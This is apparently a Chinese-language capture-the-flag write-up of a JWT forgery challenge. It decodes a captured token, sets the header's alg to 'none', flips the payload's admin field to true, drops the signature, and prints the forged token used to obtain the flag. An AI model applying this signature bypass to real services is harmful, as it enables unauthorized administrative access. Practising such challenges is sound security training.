LOADING

加载过慢请开启缓存 浏览器默认开启

JWT令牌伪造

题目提示伪造 JWT 令牌,获取管理员权限

JWT令牌伪造_0e3700b9

登录抓包

JWT令牌伪造_ffc455b7

JWT令牌分为三段

1、eyJhbGciOiJIUzI1NiIsInR5cCI6IkpXVCJ9

2、eyJ1c2VyIjoic3NzIiwiYWRtaW4iOmZhbHNlfQ

3、m8V_HNSI65wv2XVsZlxjFapXhxILIgwSrqkMv4wdxBg

第一段解码后为{“alg”:”HS256”,”typ”:”JWT”},题目提示修改alg字段为none绕过签名验证

JWT令牌伪造_66674c61

第二段解码后为{“user”:”sss”,”admin”:false},第三段解码后为乱码估计是验证部分,所以这里根据题目提示修改alg字段绕过验证,第三段因为绕过验证了所以不用加上

eyJhbGciOiJub25lIiwidHlwIjoiSldUIn0=.eyJ1c2VyIjoic3NzIiwiYWRtaW4iOnRydWV9.

抓登录包修改token,这里登录包后面还有一个包也需要修改

JWT令牌伪造_63e98977

JWT令牌伪造_2f1bee0a

修改完后得到flag

JWT令牌伪造_bfbe2285

CTF{jwt_none_alg_bypass_success}